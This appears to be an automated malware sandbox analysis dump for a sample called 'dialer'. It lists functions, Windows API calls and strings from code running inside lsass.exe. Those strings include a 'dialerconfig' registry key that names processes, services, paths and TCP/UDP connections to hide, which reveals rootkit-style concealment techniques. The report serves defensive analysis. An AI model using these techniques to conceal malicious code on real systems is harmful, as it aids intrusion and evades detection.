Part of subcall function 0000000140001984: SizeofResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019B3
Part of subcall function 0000000140001984: LoadResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019C8
Part of subcall function 0000000140001984: LockResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019DA
Part of subcall function 0000000140001984: RegOpenKeyExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A04
Part of subcall function 0000000140001984: RegSetValueExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A2A

ExitProcess.KERNEL32 ref: 000000014000197B

Memory Dump Source

Source File: 0000003F.00000002.2210644819.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003F.00000002.2210602655.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_140000000_dialer.jbxd

Similarity

API ID: Resource$ExitFindLoadLockOpenProcessSizeofValue
String ID:
API String ID: 3836967525-0
Opcode ID: ee2a5ee51357348344ca81a4be59069b68ca976694f2d9a0ce0cc3fee0d6cd3e
Instruction ID: 591ae2b672e41714171671f8838f177bfce947d6885aae7fa81f753db4d17b5a
Opcode Fuzzy Hash: ee2a5ee51357348344ca81a4be59069b68ca976694f2d9a0ce0cc3fee0d6cd3e
Instruction Fuzzy Hash: 71A011B0A00A8082EA0ABBB2282A3E802200B88380F000000A202032A2CC38008A8A00

Non-executed Functions

Function 000000014000114C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 11
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000000140001157
GetProcAddress.KERNEL32 ref: 000000014000116E

Strings

ntdll.dll, xrefs: 0000000140001150
RtlGetVersion, xrefs: 0000000140001167

Memory Dump Source

Source File: 0000003F.00000002.2210644819.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003F.00000002.2210602655.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RtlGetVersion$ntdll.dll
API String ID: 1646373207-1489217083
Opcode ID: cbe8274689d4b13bee11112ce4758f47015ade9fc57dadff247276a17ec4a5cd
Instruction ID: 59613ef8418529ec4bc26aae3d36b02baf67a4f8cd1ada14fad478f70e9913c3
Opcode Fuzzy Hash: cbe8274689d4b13bee11112ce4758f47015ade9fc57dadff247276a17ec4a5cd
Instruction Fuzzy Hash: 8CD0E9F5622A01E1EA0BEB57FC553D512617B5C781F804521E70A43671EF3C8659C700

Analysis Process: lsass.exePID: 652, Parent PID: 3820COMMON

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1408
Total number of Limit Nodes:	9

Executed Functions

Function 000002D6F1512604 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryDirectoryFileEx.NTDLL ref: 000002D6F151267D
GetFileType.KERNEL32 ref: 000002D6F15126E8
StrCpyW.SHLWAPI ref: 000002D6F1512701

Strings

\\.\pipe\, xrefs: 000002D6F15126F3

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: File$DirectoryQueryType
String ID: \\.\pipe\
API String ID: 4175507832-91387939
Opcode ID: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction ID: a7a2f4b86567ddabb2164e3d737f1ab75e8ae98fca2c710c464a591d530f4088
Opcode Fuzzy Hash: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction Fuzzy Hash: 777180A6204F814AEB669F26B85C3AA6790F7857C4F64001BED0F67F99DE38CE05C740

Function 000002D6F151211C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 000002D6F1512147
StrCmpNIW.SHLWAPI ref: 000002D6F15121B6

Part of subcall function 000002D6F15131CC: GetProcessHeap.KERNEL32(?,?,?,?,?,000002D6F15122ED), ref: 000002D6F15131EF
Part of subcall function 000002D6F15131CC: HeapAlloc.KERNEL32(?,?,?,?,?,000002D6F15122ED), ref: 000002D6F1513202
Part of subcall function 000002D6F15131CC: StrCmpNIW.SHLWAPI(?,?,?,?,?,000002D6F15122ED), ref: 000002D6F1513277
Part of subcall function 000002D6F15131CC: GetProcessHeap.KERNEL32(?,?,?,?,?,000002D6F15122ED), ref: 000002D6F15132DD
Part of subcall function 000002D6F15131CC: HeapFree.KERNEL32(?,?,?,?,?,000002D6F15122ED), ref: 000002D6F15132EB

Strings

dialer, xrefs: 000002D6F15121AF
S, xrefs: 000002D6F15122D7

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFreeInformationQuerySystem
String ID: S$dialer
API String ID: 722747020-3873981283
Opcode ID: 6a3425f5eaa1fa7964d7839e93a7c40b0f2b076159b3436a422c3db3c6fc66b9
Instruction ID: b1aa162197449f89dcd7425857e4e44c2aeade2372b5389528f94c864bfbd257
Opcode Fuzzy Hash: 6a3425f5eaa1fa7964d7839e93a7c40b0f2b076159b3436a422c3db3c6fc66b9
Instruction Fuzzy Hash: F1517DB2B10E248AEB62CF26A84C6AD63A5F7047D4F25841ADE5E63F48DB38CC51C740

Function 000002D6F15119D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNELBASE ref: 000002D6F15119F8
StrCmpNIW.KERNELBASE ref: 000002D6F1511A12
lstrlenW.KERNEL32 ref: 000002D6F1511A21
StrCpyW.SHLWAPI ref: 000002D6F1511A36

Strings

\\?\, xrefs: 000002D6F1511A06

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction ID: d8c3b55f1581f15655857fc0674f79bf9864d6f485298729ae04c5ad62850c3b
Opcode Fuzzy Hash: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction Fuzzy Hash: E3F03CA3304AC19AEB208F21F5DC7596760F754BD8F884022DA4E46D54DEBCDE88CB00

Function 000002D6F1513620 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002D6F1513639
PathFindFileNameW.SHLWAPI ref: 000002D6F1513648

Part of subcall function 000002D6F1513C74: StrCmpNIW.KERNELBASE(?,?,?,000002D6F151254B), ref: 000002D6F1513C8C

Part of subcall function 000002D6F1513BC0: GetModuleHandleW.KERNEL32(?,?,?,?,?,000002D6F151365F), ref: 000002D6F1513BCE
Part of subcall function 000002D6F1513BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002D6F151365F), ref: 000002D6F1513BFC
Part of subcall function 000002D6F1513BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,000002D6F151365F), ref: 000002D6F1513C1E
Part of subcall function 000002D6F1513BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002D6F151365F), ref: 000002D6F1513C39
Part of subcall function 000002D6F1513BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,000002D6F151365F), ref: 000002D6F1513C5A

CreateThread.KERNELBASE ref: 000002D6F151368F

Part of subcall function 000002D6F1511D40: GetCurrentThread.KERNEL32 ref: 000002D6F1511D4B

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction ID: 73d54663c895a4f2150cf828e964c136c77ad552aa7f349c4b341c67237fb721
Opcode Fuzzy Hash: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction Fuzzy Hash: 0C1152F1610E418DFBA2AF20B46D3592691B7543E5F504927990F91E95EF7CCC098A00

Function 000002D6F1513C74 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.KERNELBASE(?,?,?,000002D6F151254B), ref: 000002D6F1513C8C

Strings

dialer, xrefs: 000002D6F1513C85

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 97321a65610e08eab14ba81d351fc46d427cdee9015788b38818b6b16ac0c562
Instruction ID: 33ea1c5c4b75a750e3aa84d3109a535aad3ef99273fbd9bc3119f1c8eacba178
Opcode Fuzzy Hash: 97321a65610e08eab14ba81d351fc46d427cdee9015788b38818b6b16ac0c562
Instruction Fuzzy Hash: D0D0A7E2311E868EFF65DFA2E8DC6A02350EF14798F884022CD0A02910E71D8D8D8710

Function 000002D6F14E2AC0 Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 000002D6F14E2C32

Memory Dump Source

Source File: 00000040.00000003.2213046710.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_3_2d6f14e0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction ID: d1ad120bac2b9df70661f136652211b2a5dd1fa2e4f7da9c8a8aa6ee51d77075
Opcode Fuzzy Hash: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction Fuzzy Hash: 7491E372B01A608BEB64CF19E04CF697391F794BE4F58812A9F4B17B88DA39DD12C740

Function 000002D6F1511AC8 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002D6F1511628: GetProcessHeap.KERNEL32 ref: 000002D6F1511633
Part of subcall function 000002D6F1511628: HeapAlloc.KERNEL32 ref: 000002D6F1511642
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F15116B2
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F15116DF
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F15116F9
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511719
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F1511734
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511754
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F151176F
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F151178F
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F15117AA
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F15117CA

SleepEx.KERNELBASE ref: 000002D6F1511AE3

Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F15117E5
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511805
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F1511820
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511840
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F151185B
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F151187B
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F1511896
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F15118A0

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction ID: 44f190ebc50ea03d88713292795647823baa496bc22053f10ad1d2e118dfbcda
Opcode Fuzzy Hash: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction Fuzzy Hash: 9231D4E1610E059AFF529F36F5DD36922A5BB84BC0F0450679E0F97E95EE1CCC518350

Non-executed Functions

Function 000002D6F1512BF4 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002D6F1512C98
lstrlenW.KERNEL32 ref: 000002D6F1512EC2

Part of subcall function 000002D6F1511934: OpenProcess.KERNEL32 ref: 000002D6F151195A
Part of subcall function 000002D6F1511934: K32GetModuleFileNameExW.KERNEL32 ref: 000002D6F1511978
Part of subcall function 000002D6F1511934: PathFindFileNameW.SHLWAPI ref: 000002D6F1511987
Part of subcall function 000002D6F1511934: lstrlenW.KERNEL32 ref: 000002D6F1511993
Part of subcall function 000002D6F1511934: StrCpyW.SHLWAPI ref: 000002D6F15119A6
Part of subcall function 000002D6F1511934: CloseHandle.KERNEL32 ref: 000002D6F15119B4

GetProcAddress.KERNEL32 ref: 000002D6F1512CAD

Part of subcall function 000002D6F1513C74: StrCmpNIW.KERNELBASE(?,?,?,000002D6F151254B), ref: 000002D6F1513C8C

StrCmpNIW.SHLWAPI ref: 000002D6F1512CF0
lstrlenW.KERNEL32 ref: 000002D6F1512E18

Strings

NtQueryObject, xrefs: 000002D6F1512CA3
\Device\Nsi, xrefs: 000002D6F1512CE3
ntdll.dll, xrefs: 000002D6F1512C91

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction ID: dcd933d318de9fc5b8a688a743a1f8572ccd52ea406db3ee166873abffebb1ac
Opcode Fuzzy Hash: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction Fuzzy Hash: 26B18EA2210E948AEB669F25F44D7A9A3A4F744BC4F64511BEE0E63F94DB3DCC81C740

Function 000002D6F15181C0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002D6F15181DC
RtlCaptureContext.NTDLL ref: 000002D6F1518209
RtlLookupFunctionEntry.NTDLL ref: 000002D6F1518223
RtlVirtualUnwind.NTDLL ref: 000002D6F1518264
IsDebuggerPresent.KERNEL32 ref: 000002D6F15182B8
SetUnhandledExceptionFilter.KERNEL32 ref: 000002D6F15182D9
UnhandledExceptionFilter.KERNEL32 ref: 000002D6F15182E4

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction ID: 7562c58f7faaf0b984c5202458afec4fdd28a687dc857cffa9d6136a4c55b39e
Opcode Fuzzy Hash: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction Fuzzy Hash: EA311AB3205F808AEB619F61F8583ED7364F788788F44442ADA4E57A98DF3CCA48C710

Function 000002D6F151D6D4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002D6F151D74D
RtlLookupFunctionEntry.NTDLL ref: 000002D6F151D765
RtlVirtualUnwind.NTDLL ref: 000002D6F151D7A0
IsDebuggerPresent.KERNEL32 ref: 000002D6F151D7D9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002D6F151D7E3
UnhandledExceptionFilter.KERNEL32 ref: 000002D6F151D7EE

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction ID: 983a0a3fc5edacdfce01fe7f56abe7292d91a1dcaf254e42882d2e395cc53917
Opcode Fuzzy Hash: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction Fuzzy Hash: E7313A76214F808AEB619F25F84839E73A4F789798F540126EA9E53B99DF3CC945CB00

Function 000002D6F1511628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002D6F1511633
HeapAlloc.KERNEL32 ref: 000002D6F1511642

Part of subcall function 000002D6F1511268: GetProcessHeap.KERNEL32 ref: 000002D6F151126E
Part of subcall function 000002D6F1511268: HeapAlloc.KERNEL32 ref: 000002D6F151127D
Part of subcall function 000002D6F1511268: GetProcessHeap.KERNEL32 ref: 000002D6F1511297
Part of subcall function 000002D6F1511268: HeapAlloc.KERNEL32 ref: 000002D6F15112A8

Part of subcall function 000002D6F1511000: GetProcessHeap.KERNEL32 ref: 000002D6F1511006
Part of subcall function 000002D6F1511000: HeapAlloc.KERNEL32 ref: 000002D6F1511015
Part of subcall function 000002D6F1511000: GetProcessHeap.KERNEL32 ref: 000002D6F1511028
Part of subcall function 000002D6F1511000: HeapAlloc.KERNEL32 ref: 000002D6F1511037

RegOpenKeyExW.ADVAPI32 ref: 000002D6F15116B2
RegOpenKeyExW.ADVAPI32 ref: 000002D6F15116DF
RegCloseKey.ADVAPI32 ref: 000002D6F15116F9
RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511719
RegCloseKey.ADVAPI32 ref: 000002D6F1511734
RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511754
RegCloseKey.ADVAPI32 ref: 000002D6F151176F
RegOpenKeyExW.ADVAPI32 ref: 000002D6F151178F
RegCloseKey.ADVAPI32 ref: 000002D6F15117AA
RegOpenKeyExW.ADVAPI32 ref: 000002D6F15117CA
RegCloseKey.ADVAPI32 ref: 000002D6F15117E5
RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511805
RegCloseKey.ADVAPI32 ref: 000002D6F1511820
RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511840
RegCloseKey.ADVAPI32 ref: 000002D6F151185B
RegOpenKeyExW.ADVAPI32 ref: 000002D6F151187B
RegCloseKey.ADVAPI32 ref: 000002D6F1511896
RegCloseKey.ADVAPI32 ref: 000002D6F15118A0

Part of subcall function 000002D6F15112BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002D6F1511319
Part of subcall function 000002D6F15112BC: GetProcessHeap.KERNEL32 ref: 000002D6F1511327
Part of subcall function 000002D6F15112BC: HeapAlloc.KERNEL32 ref: 000002D6F1511338
Part of subcall function 000002D6F15112BC: RegEnumValueW.ADVAPI32 ref: 000002D6F1511397
Part of subcall function 000002D6F15112BC: GetProcessHeap.KERNEL32 ref: 000002D6F15113DF
Part of subcall function 000002D6F15112BC: HeapAlloc.KERNEL32 ref: 000002D6F15113ED
Part of subcall function 000002D6F15112BC: GetProcessHeap.KERNEL32 ref: 000002D6F151140A
Part of subcall function 000002D6F15112BC: HeapFree.KERNEL32 ref: 000002D6F1511418
Part of subcall function 000002D6F15112BC: lstrlenW.KERNEL32 ref: 000002D6F1511421
Part of subcall function 000002D6F15112BC: GetProcessHeap.KERNEL32 ref: 000002D6F151142F
Part of subcall function 000002D6F15112BC: HeapAlloc.KERNEL32 ref: 000002D6F151143D

Strings

startup, xrefs: 000002D6F15116D5
tcp_remote, xrefs: 000002D6F1511839
SOFTWARE\dialerconfig, xrefs: 000002D6F1511692
paths, xrefs: 000002D6F1511788
tcp_local, xrefs: 000002D6F15117FE
process_names, xrefs: 000002D6F151174D
service_names, xrefs: 000002D6F15117C3
udp, xrefs: 000002D6F1511874
pid, xrefs: 000002D6F1511712

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-2879589442
Opcode ID: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction ID: 7dbd83f680d555f0e8a05f6407e5a9104c838bd5824e768260b09f9a20a43afb
Opcode Fuzzy Hash: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction Fuzzy Hash: 7D7196A6710E918AEB119F76F89CA9923B4F784BC8F405112DE4E57F69EF2CC844C744

Function 000002D6F1511D40 Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002D6F1511D4B

Part of subcall function 000002D6F15120C4: GetModuleHandleA.KERNEL32(?,?,?,000002D6F1511D7D), ref: 000002D6F15120DC
Part of subcall function 000002D6F15120C4: GetProcAddress.KERNEL32(?,?,?,000002D6F1511D7D), ref: 000002D6F15120ED

